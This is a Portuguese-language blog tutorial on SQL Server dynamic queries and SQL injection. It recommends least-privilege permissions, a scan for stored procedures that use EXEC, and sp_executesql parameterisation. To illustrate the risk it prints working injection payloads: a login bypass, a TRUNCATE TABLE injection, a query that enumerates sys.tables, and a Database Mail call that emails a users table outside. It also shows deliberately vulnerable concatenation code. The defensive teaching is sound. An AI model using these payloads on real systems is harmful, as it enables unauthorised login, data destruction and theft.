SQL Server - Como evitar SQL Injection? Pare de utilizar Query Dinâmica como EXEC(@Query). Agora.

Post Views 1,716 views

Neste artigo

Esse post é a parte 18 de 21 da série Security and Auditing

Reading time 13 minutes

Fala galera!
Nesse artigo eu gostaria de compartilhar com vocês quais os riscos de se utilizar Query Dinâmica no SQL Server através do comando EXECUTE e demonstrar formas seguras de se utilizar query dinâmica e que não sejam suscetíveis a ataques de SQL Injection.

O que é Query Dinâmica?

Clique para visualizar o conteúdo

Recurso muito utilizado em sistema e rotinas de bancos de dados, Query Dinâmica consiste em montar uma string com comandos T-SQL a serem executados. Essa string é montada baseada em concatenação de strings e possíveis validações com IFs de acordo com determinados cenários.

Após a string final ter sido construída, ela é processada pelo comando EXECUTE (ou EXEC, para os mais íntimos.. rs) e o que estiver nessa string será executada no banco de dados.

É muito importante observar que query dinâmica não é específica apenas para consultas montadas a partir do SQL Server. Um sistema pode fazer a mesma coisa, criando uma variável string no código-fonte C#, por exemplo, montar a string e depois enviar essa string para o banco de dados. Isso também é uma query dinâmica, mas montada dentro da aplicação e para o banco de dados, será apenas uma query ad-hoc que a aplicação está enviando.

Exemplo básico:

DECLARE 
    @Objeto VARCHAR(128) = 'sys.objects',
    @Nome_Objeto VARCHAR(128) = 'syscerts',
    @Query VARCHAR(MAX)

-- Monta a nossa query dinâmica    
SET @Query = 'SELECT * FROM ' + @Objeto + ' WHERE [name] = ''' + @Nome_Objeto + ''''

-- Mostra na tela a query final depois de montada
SELECT @Query

-- Executa o comando no banco
EXEC(@Query)

DECLARE

@Objeto VARCHAR(128) = 'sys.objects',

@Nome_Objeto VARCHAR(128) = 'syscerts',

@Query VARCHAR(MAX)

-- Monta a nossa query dinâmica

SET @Query = 'SELECT * FROM ' + @Objeto + ' WHERE [name] = ''' + @Nome_Objeto + ''''

-- Mostra na tela a query final depois de montada

SELECT @Query

-- Executa o comando no banco

EXEC(@Query)

Result:

Como vocês podem visualizar, as possibilidades são infinitas utilizando Query Dinâmica. Desde fazer joins e definir as colunas retornadas por um SELECT até controlar filtros no WHERE. Um exemplo bem legal do ponto de vista de performance seria esse aqui (e que acontece demais):

Consulta original:

DECLARE 
    @Schema_ID INT = 4,
    @Nome_Objeto VARCHAR(128) = 'syscerts',
    @Type VARCHAR(10),
    @object_id INT

SELECT *
FROM sys.objects
WHERE (@Schema_ID IS NULL OR [schema_id] = @Schema_ID)
AND (@Nome_Objeto IS NULL OR [name] = @Nome_Objeto)
AND (@Type IS NULL OR [type] = @Type)
AND (@object_id IS NULL OR [object_id] = @object_id)

DECLARE

@Schema_ID INT = 4,

@Nome_Objeto VARCHAR(128) = 'syscerts',

@Type VARCHAR(10),

@object_id INT

SELECT *

FROM sys.objects

WHERE (@Schema_ID IS NULL OR [schema_id] = @Schema_ID)

AND (@Nome_Objeto IS NULL OR [name] = @Nome_Objeto)

AND (@Type IS NULL OR [type] = @Type)

AND (@object_id IS NULL OR [object_id] = @object_id)

Esse monte de @variabel IS NULL OR [coluna] = @variavel no filtro WHERE da consulta, muitas vezes podem causar um problema de performance na consulta, pois o SQL terá que fazer várias validações no filtro para retornar os dados. Uma possível solução para isso seria utilizar justamente a query dinâmica:

DECLARE 
    @Schema_ID INT = 4,
    @Nome_Objeto VARCHAR(128) = 'syscerts',
    @Type VARCHAR(10),
    @object_id INT,
    @Query VARCHAR(MAX)


-- Monta a base da nossa query dinâmica 
SET @Query = 'SELECT * FROM sys.objects WHERE 1=1'


-- Aplica os filtros dinâmicamente
IF (@Nome_Objeto IS NOT NULL)
    SET @Query += ' AND [name] = ''' + @Nome_Objeto + ''''

IF (@Type IS NOT NULL)
    SET @Query += ' AND [type] = ''' + @Type + ''''

IF (@Schema_ID IS NOT NULL)
    SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10))

IF (@object_id IS NOT NULL)
    SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10))


-- Mostra na tela a query final depois de montada
SELECT @Query

-- Executa o comando no banco
EXEC(@Query)

DECLARE

@Schema_ID INT = 4,

@Nome_Objeto VARCHAR(128) = 'syscerts',

@Type VARCHAR(10),

@object_id INT,

@Query VARCHAR(MAX)

-- Monta a base da nossa query dinâmica

SET @Query = 'SELECT * FROM sys.objects WHERE 1=1'

-- Aplica os filtros dinâmicamente

IF (@Nome_Objeto IS NOT NULL)

SET @Query += ' AND [name] = ''' + @Nome_Objeto + ''''

IF (@Type IS NOT NULL)

SET @Query += ' AND [type] = ''' + @Type + ''''

IF (@Schema_ID IS NOT NULL)

SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10))

IF (@object_id IS NOT NULL)

SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10))

-- Mostra na tela a query final depois de montada

SELECT @Query

-- Executa o comando no banco

EXEC(@Query)

Resultado da execução:

Se formos analisar a query final gerada dinâmicamente e a query original, cheia de OR, vemos que a query dinâmica que é executada é bem mais simples que a consulta original. E isso se reflete no plano de execução e no custo de execução também:

Ou seja, a query dinâmica tem sua aplicabilidade justificável SIM, e é muito útil em N cenários, mas precisamos tomar muito cuidado com a sua utilização para não expor o nosso ambientes a ataques de SQL Injection.

O que é SQL Injection e o quão grave é isso ?

Clique para visualizar o conteúdo

Depois desse breve resumo sobre query dinâmica, agora vou apresentar um breve resumo sobre SQL Injection para vocês. Essa técnica cracker consiste em explorar as consultas dinâmicas realizadas no banco de dados para executar comandos maliciosos no banco de dados, que podem desde mostrar dados confidenciais, sigilosos e sensíveis até apagar dados e arquivos no servidor de banco de dados.

Se você está pensando que essa técnica deve ser bem complexa e elaborada, está muito enganado. Ela é até bem simples de ser utilizada e um invasor pode utilizá-la em campos de texto de uma aplicação, como uma tela de Login por exemplo, que envia uma query dinâmica para o banco a fim de verificar se o usuário e senha informados estão corretos.

Exemplo 1 – Logando no sistema sem autorização

Imaginem um cenário com a seguinte tabela no seu banco, utilizada para cadastro dos usuários e autenticação de uma forma bem simples:

CREATE TABLE dbo.Usuarios (
    Id_Usuario INT IDENTITY(1,1) NOT NULL PRIMARY KEY CLUSTERED,
    Ds_Email VARCHAR(200) NOT NULL,
    Ds_Senha VARCHAR(100) NOT NULL
)

INSERT INTO dbo.Usuarios
VALUES('joaozinho@microsoft.com', 'joao')

CREATE TABLE dbo.Usuarios (

Id_Usuario INT IDENTITY(1,1) NOT NULL PRIMARY KEY CLUSTERED,

Ds_Email VARCHAR(200) NOT NULL,

Ds_Senha VARCHAR(100) NOT NULL

)

INSERT INTO dbo.Usuarios

VALUES('[email protected]', 'joao')

E agora imaginem que a sua aplicação C# possui o seguinte código para validar o e-mail e senha:

try
{

    using (var conn = new SqlConnection(dadosConexao))
    {

        conn.Open();

        using (var cmd = new SqlCommand())
        {

            cmd.CommandType = CommandType.Text;
            cmd.Connection = conn;

            /* Olha a nossa query dinâmica aqui :) */
            var dsQuery = "SELECT 1 FROM dbo.Usuarios WHERE Ds_Email = '" + email + "' AND Ds_Senha = '" + senha + "'";
                    
            cmd.CommandText = dsQuery;
            
            var retorno = cmd.ExecuteScalar();
            
            if (retorno != null && retorno = "1")
                Login.autenticaUsuario();
            else
                Login.retornaErro();

        }
    }

}
catch (Exception e)
{
    Retorno.Erro("Erro : " + e.Message);
}

try

{

using (var conn = new SqlConnection(dadosConexao))

{

conn.Open();

using (var cmd = new SqlCommand())

{

cmd.CommandType = CommandType.Text;

cmd.Connection = conn;

/* Olha a nossa query dinâmica aqui :) */

var dsQuery = "SELECT 1 FROM dbo.Usuarios WHERE Ds_Email = '" + email + "' AND Ds_Senha = '" + senha + "'";

cmd.CommandText = dsQuery;

var retorno = cmd.ExecuteScalar();

if (retorno != null && retorno = "1")

else

}

catch (Exception e)

{

Retorno.Erro("Erro : " + e.Message);

}

O que vai chegar no banco é a consulta que a aplicação montou. Se um usuário malioso tenta realizar um ataque de SQL Injection, utilizando uma abordagem simples, como colocando a string “‘ OR ‘x’=’x’–” no campo do usuário e clicando no botão de “Login” da aplicação, essa é a consulta que vai chegar no banco de dados:

SELECT * FROM dbo.Usuarios WHERE Ds_Email = '' OR 'x'='x'--' AND Ds_Senha = ''

1	SELECT * FROM dbo.Usuarios WHERE Ds_Email = '' OR 'x'='x'--' AND Ds_Senha = ''

Resultado: O invasor conseguiu logar no sistema

E acredite em mim. Existem MUITAS strings como essa para realizar ataques de SQL Injection.

Exemplo 2 – Apagando e visualizando dados

Nesse mesmo exemplo acima, em uma simples tela de logon, observem que uma string simples como “‘; TRUNCATE TABLE dbo.Usuarios;–” pode causar grandes transtornos na vida de um DBA ao simplesmente APAGAR todos os dados da tabela de Usuários do sistema.

É claro que o invasor ainda precisa descobrir o nome das tabelas do sistema e, no cenário acima, essa tarefa acaba sendo complicada pois a query não retorna muitos dados, apenas uma validação. Mas se isso for em uma tela de consulta, por exemplo, onde os dados retornados são mostrados em uma tabela na tela, aí temos um cenário ideal para realizar um ataque ao utilizarmos uma string como “‘; SELECT name, name, name, name FROM sys.tables; –” num campo de busca, por exemplo, que sabemos que está mostrando 4 colunas na tela.

Query que acaba sendo enviada para o banco de dados:

SELECT cpfcnpj, FirstName, [Uid], ID 
FROM dbo.Tabela 
WHERE cpfcnpj = ''; SELECT name, name, name, name FROM sys.tables; --'

SELECT cpfcnpj, FirstName, [Uid], ID

FROM dbo.Tabela

WHERE cpfcnpj = ''; SELECT name, name, name, name FROM sys.tables; --'

Result:

E aí o invasor agora tem o nome das tabelas que existem no database.. O que deixou a “brincadeira” bem mais interessante agora, pois ele pode apagar dados de qualquer uma dessas tabelas ou visualizar esses dados pelo próprio sistema. E se ele pudesse enviar os dados da tabela por e-mail ? Hummm..

Utilizando a string “‘; EXEC msdb.dbo.sp_send_dbmail @recipients = ‘[email protected]’, @subject = ‘Teste’, @query = ‘SELECT * FROM Usuarios’ –“, o invasor consegue utilizar o DatabaseMail instalado no servidor do banco de dados para enviar os resultados de uma query para ele mesmo e visualizar os dados do banco:

Ou seja, a ideia aqui é mostrar o quão perigoso são ataques de SQL Injection. Isso porque nem vou demonstrar como utilizar o xp_cmdshell para executar comandos a nível de sistema operacional no servidor.. Dá até pra baixar ransomware remotamente e executar no servidor. Tudo isso através de um simples campo de busca no sistema.

Como posso me proteger contra o SQL Injection?

Clique para visualizar o conteúdo

Espero que você tenha ficado bem chocado com o impacto arrasadador que um SQL Injection pode causar no seu ambiente. Dependendo do nível de permissões, o invasor pode até mesmo instalar Ransomware, espalhar isso pela sua rede e causar um estrago gigantesco na sua empresa através de um simples campo de texto num sistema.

Dica 1 – Restrição de permissões a nível de database

O primeiro passo para conter esse tipo de ataque, é limitar primeiro o alcance do ataque e depois tentamos evitar que ele aconteça.

Sim, é isso mesmo. Parece estranho, mas é que você conseguir limitar até onde um ataque desses pode chegar, costuma ser um processo muito mais rápido de se implementar no ambiente e por isso eu prefiro começar por esse passo.

É claro que essa minha generalização é baseada em cenários tradicionais e deve ser avaliada sim, pois o seu cenário pode ser diferente. Geralmente em cenários de grandes empresas, existem vários sistemas diferentes acessando a mesma instância, com dezenas de Stored Procedures com query dinâmica, fora as várias consultas ad-hoc que são frutos de query dinâmicas montadas na aplicação e enviadas para o banco.

Avaliar e tratar todas essas portas de entrada costuma ser algo bem demorado de se fazer. Justamente por isso, eu recomendo começar restringindo as permissões dos usuários das aplicações. É muito incomum um usuário de sistema precisar de permissões que vão além de leitura/escrita no(s) database(s) que o sistema acessa. Permissões a nível de instância são muito raras de serem realmente necessárias para usuários de sistemas.

E não venha me falar que você sempre libera permissão de db_owner não hein! Vamos parar com isso HOJE. Uma permissão de db_owner carrega implícitamente outras permissões não necessárias como IMPERSONATE, que é tão perigosa para auditorias, e também permissão de visualizar e listar os databases, mesmo que ele não tenha a permissão de VIEW ANY DATABASE.

Na grande maioria dos casos, uma aplicação pode precisar de, no máximo, permissão geral de EXECUTE no database e estar nas database roles db_datareader, db_datawriter e talvez, db_ddladmin. Se você é daqueles DBA’s que libera permissão de db_owner para o usuário da aplicação porque é mais prático, sugiro ler o artigo SQL Server – Entendendo os riscos da propriedade TRUSTWORTHY habilitada em um database, que mostra o que um usuário db_owner pode fazer em um ambiente onde o database possui o parâmetro TRUSTWORTHY habilitado. Mesmo se não estiver, ele terá permissão para utilizar IMPERSONATE, o que já é bem perigoso.

Dica 2 – Restrição de permissões a nível de instância

Infelizmente, o que a gente vê no dia a dia ? Aplicação conectando no banco com usuário SA ou usuário da aplicação com permissão de sysadmin. Ou seja, imaginem o cenário em que você tem um sistema Web bem simples para atender uma necessidade especifica do setor comercial da empresa. Esse sistema é só um cadastro de forncedor, que não é nem tão crítico para a empresa. E esse sistema conecta no banco com o usuário sa. Um invasor encontra uma brecha utilizando esse usuário sysadmin e aplica um SQL Injection na instância que contém todos os sistemas da empresa..

Dados de toda a empresa capturados e depois criptografados com sucesso! E tudo isso a partir de um sistema que nem era o Core da empresa. Ou seja, o primeiro passo para evitar esse tipo de ataque, é limitar as permissões das aplicações e em quais databases essa aplicação pode ler/escrever dados. Se um sistema não acessa/altera nenhuma tabela de outro banco, por quê ele tem essa permissão ?

Se você precisa de ajuda para identificar quais tabelas um sistema realmente está acessando/alterando no seu ambiente, dê uma lida no artigo SQL Server – Como utilizar auditoria para mapear permissões necessárias reais em um usuário.

Além disso, o simples fato da aplicação não ter permissões de sysadmin, o invasor não conseguirá ativar recursos que estão desativados, como xp_cmdshell, por exemplo, e também não poderá executar comandos críticos como xp_cmdshell, enviar e-mails utilizando o Database Mail, etc.

Por todos os motivos citados acima é que é imprescindível limitar a permissão dos usuários de aplicações a nível de instância. A ideia é que nem tenha essa permissão. Utilizar usuário SA ou usuários com permissão sysadmin é algo impensável e injustificável.

Dica 3 – Restrição de permissões a nível de sistema operacional (SO)

Para fechar essa parte de permissões, precisamos também limitar as permissões do usuário do SQL Server no sistema operacional. Vemos em muitas empresas o usuário do serviço do SQL Server com permissões de Administrador local do servidor ou até mesmo, Domain Admin (Permissão máxima dentro do Active Directory. Pode fazer TUDO em QUALQUER servidor).

Esse tipo de permissão potencializa muito o efeito desses ataques de SQL Injection. Então o mais correto é se limitar o usuário dos serviços do SQL Server, que é quem executa os comandos a nível de Sistema Operacional quando você executa um xp_cmdshell, por exemplo, para um usuário com a menor permissão necessária.

Dica 4 – Identificar as consultas dinâmicas do ambiente

Como eu mencionei acima, a parte de permissões costuma ser mais rápida de implementar e por isso, opto por fazê-la antes de qualquer coisa. Agora vamos mudar o nosso foco para evitar os ataques, mas precisamos identificar quais as possíveis portas de entrada para ataques de SQL Injection, ou seja, onde estamos utilizando Query Dinâmica no nosso ambiente.

A nível de aplicação e sistema, esse trabalho deve ser realizado pela equipe de Sistemas/Desenvolvimento, varrendo todo o código-fonte em busca de locais que utilizem query dinâmica e aplicando o tratamento disso na aplicação, até porque, quando a consulta é montada na aplicação, o banco não tem como diferenciar o que é query dinâmica ou não para tentar tratar isso no banco.

A nível do banco de dados, quando existem Stored Procedures que utilizam dessa técnica de query dinâmica, podemos utilizar uma query T-SQL para identificar todas essas SP’s e avaliar quais podem ser utilizadas para ataques de SQL Injection. Geralmente eu avalio apenas Procedures que possuem parâmetros do tipo string (varchar, nvarchar, char, nchar) e com tamanho maior que 10. Parâmetros numéricos e strings curtas são bem difíceis de serem utilizadas para SQL Injection.

Para identificar essas Stored Procedures, você pode utilizar a query abaixo:

DECLARE @Objetos_Query_Dinamica TABLE ( [Ds_Database] nvarchar(256), [Ds_Objeto] nvarchar(256), [Ds_Tipo] nvarchar(128), [definition] VARCHAR(MAX) )


IF (OBJECT_ID('tempdb.dbo.#Palavras_Exec') IS NOT NULL) DROP TABLE #Palavras_Exec
CREATE TABLE #Palavras_Exec (
    Palavra VARCHAR(100) COLLATE SQL_Latin1_General_CP1_CI_AI
)

INSERT INTO #Palavras_Exec
VALUES('%EXEC (%'), ('%EXEC(%'), ('%EXECUTE (%'), ('%EXECUTE(%'), ('%sp_executesql%')


INSERT INTO @Objetos_Query_Dinamica
EXEC sys.sp_MSforeachdb '
IF (''?'' <> ''tempdb'')
BEGIN

    SELECT DISTINCT TOP(100)
        ''?'' AS Ds_Database,
        B.[name],
        B.[type_desc],
        A.[definition]
    FROM
        [?].sys.sql_modules A WITH(NOLOCK)
        JOIN [?].sys.objects B WITH(NOLOCK) ON B.[object_id] = A.[object_id]
        JOIN #Palavras_Exec C WITH(NOLOCK) ON A.[definition] COLLATE SQL_Latin1_General_CP1_CI_AI LIKE C.Palavra
    WHERE
        B.is_ms_shipped = 0
        AND ''?'' <> ''ReportServer''
        AND B.[name] NOT IN (''sp_WhoIsActive'', ''sp_showindex'', ''sp_AllNightLog'', ''sp_AllNightLog_Setup'', ''sp_Blitz'', ''sp_BlitzBackups'', ''sp_BlitzCache'', ''sp_BlitzFirst'', ''sp_BlitzIndex'', ''sp_BlitzLock'', ''sp_BlitzQueryStore'', ''sp_BlitzWho'', ''sp_DatabaseRestore'')
        AND NOT (B.[name] LIKE ''stp_DTA_%'' AND ''?'' = ''msdb'')
        AND NOT (B.[name] = ''sp_readrequest'' AND ''?'' = ''master'')
        AND EXISTS (
            SELECT NULL
            FROM [?].sys.parameters X1 WITH(NOLOCK)
            JOIN [?].sys.types X2 WITH(NOLOCK) ON X1.system_type_id = X2.user_type_id
            WHERE A.[object_id] = X1.[object_id]
            AND X2.[name] IN (''text'', ''ntext'', ''varchar'', ''nvarchar'')
            AND (X1.max_length > 10 OR X1.max_length < 0)
        )
            
END'

SELECT * FROM @Objetos_Query_Dinamica

DECLARE @Objetos_Query_Dinamica TABLE ( [Ds_Database] nvarchar(256), [Ds_Objeto] nvarchar(256), [Ds_Tipo] nvarchar(128), [definition] VARCHAR(MAX) )

IF (OBJECT_ID('tempdb.dbo.#Palavras_Exec') IS NOT NULL) DROP TABLE #Palavras_Exec

CREATE TABLE #Palavras_Exec (

Palavra VARCHAR(100) COLLATE SQL_Latin1_General_CP1_CI_AI

)

INSERT INTO #Palavras_Exec

VALUES('%EXEC (%'), ('%EXEC(%'), ('%EXECUTE (%'), ('%EXECUTE(%'), ('%sp_executesql%')

INSERT INTO @Objetos_Query_Dinamica

EXEC sys.sp_MSforeachdb '

IF (''?'' <> ''tempdb'')

BEGIN

SELECT DISTINCT TOP(100)

''?'' AS Ds_Database,

B.[name],

B.[type_desc],

A.[definition]

FROM

[?].sys.sql_modules A WITH(NOLOCK)

JOIN [?].sys.objects B WITH(NOLOCK) ON B.[object_id] = A.[object_id]

JOIN #Palavras_Exec C WITH(NOLOCK) ON A.[definition] COLLATE SQL_Latin1_General_CP1_CI_AI LIKE C.Palavra

WHERE

B.is_ms_shipped = 0

AND ''?'' <> ''ReportServer''

AND B.[name] NOT IN (''sp_WhoIsActive'', ''sp_showindex'', ''sp_AllNightLog'', ''sp_AllNightLog_Setup'', ''sp_Blitz'', ''sp_BlitzBackups'', ''sp_BlitzCache'', ''sp_BlitzFirst'', ''sp_BlitzIndex'', ''sp_BlitzLock'', ''sp_BlitzQueryStore'', ''sp_BlitzWho'', ''sp_DatabaseRestore'')

AND NOT (B.[name] LIKE ''stp_DTA_%'' AND ''?'' = ''msdb'')

AND NOT (B.[name] = ''sp_readrequest'' AND ''?'' = ''master'')

AND EXISTS (

SELECT NULL

FROM [?].sys.parameters X1 WITH(NOLOCK)

JOIN [?].sys.types X2 WITH(NOLOCK) ON X1.system_type_id = X2.user_type_id

WHERE A.[object_id] = X1.[object_id]

AND X2.[name] IN (''text'', ''ntext'', ''varchar'', ''nvarchar'')

AND (X1.max_length > 10 OR X1.max_length < 0)

)

END'

SELECT * FROM @Objetos_Query_Dinamica

Result:

Agora é só identificar, validar e analisar as consultas que aparecem nessa consulta e verificar se elas são suscetíveis a ataques de SQL Injection e sempre que possível, trocar o comando EXECUTE por sp_executesql. No próximo tópico vou mostrar o motivo.

Dica 5 – Trate as consultas dinâmicas

E agora chegou a parte onde devemos tratar as nossas consultas, finalmente.

A nível de aplicação e sistema, esse trabalho deve ser realizado pela equipe de Sistemas/Desenvolvimento, varrendo todo o código-fonte em busca de locais que utilizem query dinâmica e aplicando o tratamento disso na aplicação, como eu já havia comentado no tópico anterior. Existem várias formas de se evitar isso na aplicação, como consultas parametrizadas, que vão barrar qualquer tipo de SQL Injection que um invasor possa tentar atacar.

A nível de banco de dados, você deve utilizar a query que compartilhei no tópico anterior para identificar as consultas que utilizem query dinâmica. O primeiro passo é analisar se realmente essa consulta precisa ser dinâmica. Acreditem, já vi muitos casos em que se utilizava query dinâmica sem necessidade alguma, como vou demonstrar abaixo:

ALTER PROCEDURE dbo.stpConsulta_CPF ( 
    @CPF VARCHAR(14) 
)
AS
BEGIN
    
    DECLARE @Query VARCHAR(MAX) = 'SELECT * FROM dbo._Teste WHERE CPF = ''' + @CPF + ''''
    EXEC(@Query)

END

ALTER PROCEDURE dbo.stpConsulta_CPF (

@CPF VARCHAR(14)

)

BEGIN

DECLARE @Query VARCHAR(MAX) = 'SELECT * FROM dbo._Teste WHERE CPF = ''' + @CPF + ''''

EXEC(@Query)

END

Observem que no exemplo acima, a utilização de Query dinâmica é altamente evitável:

ALTER PROCEDURE dbo.stpConsulta_CPF ( 
    @CPF VARCHAR(14) 
)
AS
BEGIN
    
    SELECT * 
    FROM dbo._Teste 
    WHERE CPF = @CPF

END

ALTER PROCEDURE dbo.stpConsulta_CPF (

@CPF VARCHAR(14)

)

BEGIN

SELECT *

FROM dbo._Teste

WHERE CPF = @CPF

END

Bem mais seguro agora e ficamos livres do SQL Injection nesse exemplo. 🙂

A consulta realmente precisa ser dinâmica? Então o segundo passo é trocar, sempre que possível, os comandos de EXECUTE por sp_executesql, uma vez que a segunda opção permite a parametrização das consultas. Vou até utilizar o exemplo que já mostrei aqui.

Query dinâmica com EXECUTE:

DECLARE 
    @Schema_ID INT = 4,
    @Nome_Objeto VARCHAR(128) = 'syscerts',
    @Type VARCHAR(10),
    @object_id INT,
    @Query VARCHAR(MAX)


-- Monta a base da nossa query dinâmica 
SET @Query = 'SELECT * FROM sys.objects WHERE 1=1'


-- Aplica os filtros dinâmicamente
IF (@Nome_Objeto IS NOT NULL)
    SET @Query += ' AND [name] = ''' + @Nome_Objeto + ''''

IF (@Type IS NOT NULL)
    SET @Query += ' AND [type] = ''' + @Type + ''''

IF (@Schema_ID IS NOT NULL)
    SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10))

IF (@object_id IS NOT NULL)
    SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10))


-- Mostra na tela a query final depois de montada
SELECT @Query

-- Executa o comando no banco
EXEC(@Query)

DECLARE

@Schema_ID INT = 4,

@Nome_Objeto VARCHAR(128) = 'syscerts',

@Type VARCHAR(10),

@object_id INT,

@Query VARCHAR(MAX)

-- Monta a base da nossa query dinâmica

SET @Query = 'SELECT * FROM sys.objects WHERE 1=1'

-- Aplica os filtros dinâmicamente

IF (@Nome_Objeto IS NOT NULL)

SET @Query += ' AND [name] = ''' + @Nome_Objeto + ''''

IF (@Type IS NOT NULL)

SET @Query += ' AND [type] = ''' + @Type + ''''

IF (@Schema_ID IS NOT NULL)

SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10))

IF (@object_id IS NOT NULL)

SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10))

-- Mostra na tela a query final depois de montada

SELECT @Query

-- Executa o comando no banco

EXEC(@Query)

Result:

Agora vamos fazer algumas alterações na consulta para utilizar a consulta parametrizada com sp_executesql:

DECLARE 
    @Schema_ID INT = 4,
    @Nome_Objeto VARCHAR(128) = 'syscerts',
    @Type VARCHAR(10),
    @object_id INT,
    @Query NVARCHAR(MAX)


-- Monta a base da nossa query dinâmica 
SET @Query = 'SELECT * FROM sys.objects WHERE 1=1'


-- Aplica os filtros dinâmicamente
IF (@Nome_Objeto IS NOT NULL)
    SET @Query += ' AND [name] = @Nome_Objeto'

IF (@Type IS NOT NULL)
    SET @Query += ' AND [type] = @Type'

IF (@Schema_ID IS NOT NULL)
    SET @Query += ' AND [schema_id] = @Schema_ID'

IF (@object_id IS NOT NULL)
    SET @Query += ' AND [object_id] = @object_id'


-- Mostra na tela a query final depois de montada
SELECT @Query

-- Executa o comando no banco
EXEC sys.sp_executesql 
    @stmt = @Query,
    @params = N'@Nome_Objeto VARCHAR(128), @Type VARCHAR(10), @Schema_ID INT, @object_id INT',
    @Nome_Objeto = @Nome_Objeto, @Type = @Type, @Schema_ID = @Schema_ID, @object_id = @object_id

DECLARE

@Schema_ID INT = 4,

@Nome_Objeto VARCHAR(128) = 'syscerts',

@Type VARCHAR(10),

@object_id INT,

@Query NVARCHAR(MAX)

-- Monta a base da nossa query dinâmica

SET @Query = 'SELECT * FROM sys.objects WHERE 1=1'

-- Aplica os filtros dinâmicamente

IF (@Nome_Objeto IS NOT NULL)

SET @Query += ' AND [name] = @Nome_Objeto'

IF (@Type IS NOT NULL)

SET @Query += ' AND [type] = @Type'

IF (@Schema_ID IS NOT NULL)

SET @Query += ' AND [schema_id] = @Schema_ID'

IF (@object_id IS NOT NULL)

SET @Query += ' AND [object_id] = @object_id'

-- Mostra na tela a query final depois de montada

SELECT @Query

-- Executa o comando no banco

EXEC sys.sp_executesql

@stmt = @Query,

@params = N'@Nome_Objeto VARCHAR(128), @Type VARCHAR(10), @Schema_ID INT, @object_id INT',

@Nome_Objeto = @Nome_Objeto, @Type = @Type, @Schema_ID = @Schema_ID, @object_id = @object_id

Result:

E assim, temos o melhor dos mundos: Query flexível e customizável, rápida e segura.

References

Clique para visualizar o conteúdo

And that's it, folks!
Espero que tenham gostado desse artigo e vocês comecem a levar a segurança do seu ambiente mais a sério. Se você está preocupado com a segurança do seu ambiente e quer a opinião de um especialista no assunto, solicite agora mesmo o Check-up GRATUITO do seu banco de dados + análise de segurança: Será que você precisa ?.

Forte Abraço e até a próxima!

Subscribe to blog by email

Blog Views

Microsoft MVP

Post Archive

Categories

Recent posts

SQL Server – How to avoid SQL Injection? Stop using Dynamic Query like EXEC(@Query). Now.

O que é Query Dinâmica?

O que é SQL Injection e o quão grave é isso ?

Exemplo 1 – Logando no sistema sem autorização

Exemplo 2 – Apagando e visualizando dados

Como posso me proteger contra o SQL Injection?

Dica 1 – Restrição de permissões a nível de database

Dica 2 – Restrição de permissões a nível de instância

Dica 3 – Restrição de permissões a nível de sistema operacional (SO)

Dica 4 – Identificar as consultas dinâmicas do ambiente

Dica 5 – Trate as consultas dinâmicas

References

o que é como evitar se proteger sql server sql injection

You may also like...

Deixe uma respostaCancelar resposta

O que é Query Dinâmica?

O que é SQL Injection e o quão grave é isso ?

Exemplo 1 – Logando no sistema sem autorização

Exemplo 2 – Apagando e visualizando dados

Como posso me proteger contra o SQL Injection?

Dica 1 – Restrição de permissões a nível de database

Dica 2 – Restrição de permissões a nível de instância

Dica 3 – Restrição de permissões a nível de sistema operacional (SO)

Dica 4 – Identificar as consultas dinâmicas do ambiente

Dica 5 – Trate as consultas dinâmicas

References

o que é como evitar se proteger sql server sql injection

You may also like...

SQL Server - How to implement login auditing and control (Logon Trigger)

Como identificar os usuários conectados no SQL Server

Como recuperar o maior valor entre múltiplas colunas em uma tabela do SQL Server

Deixe uma respostaCancelar resposta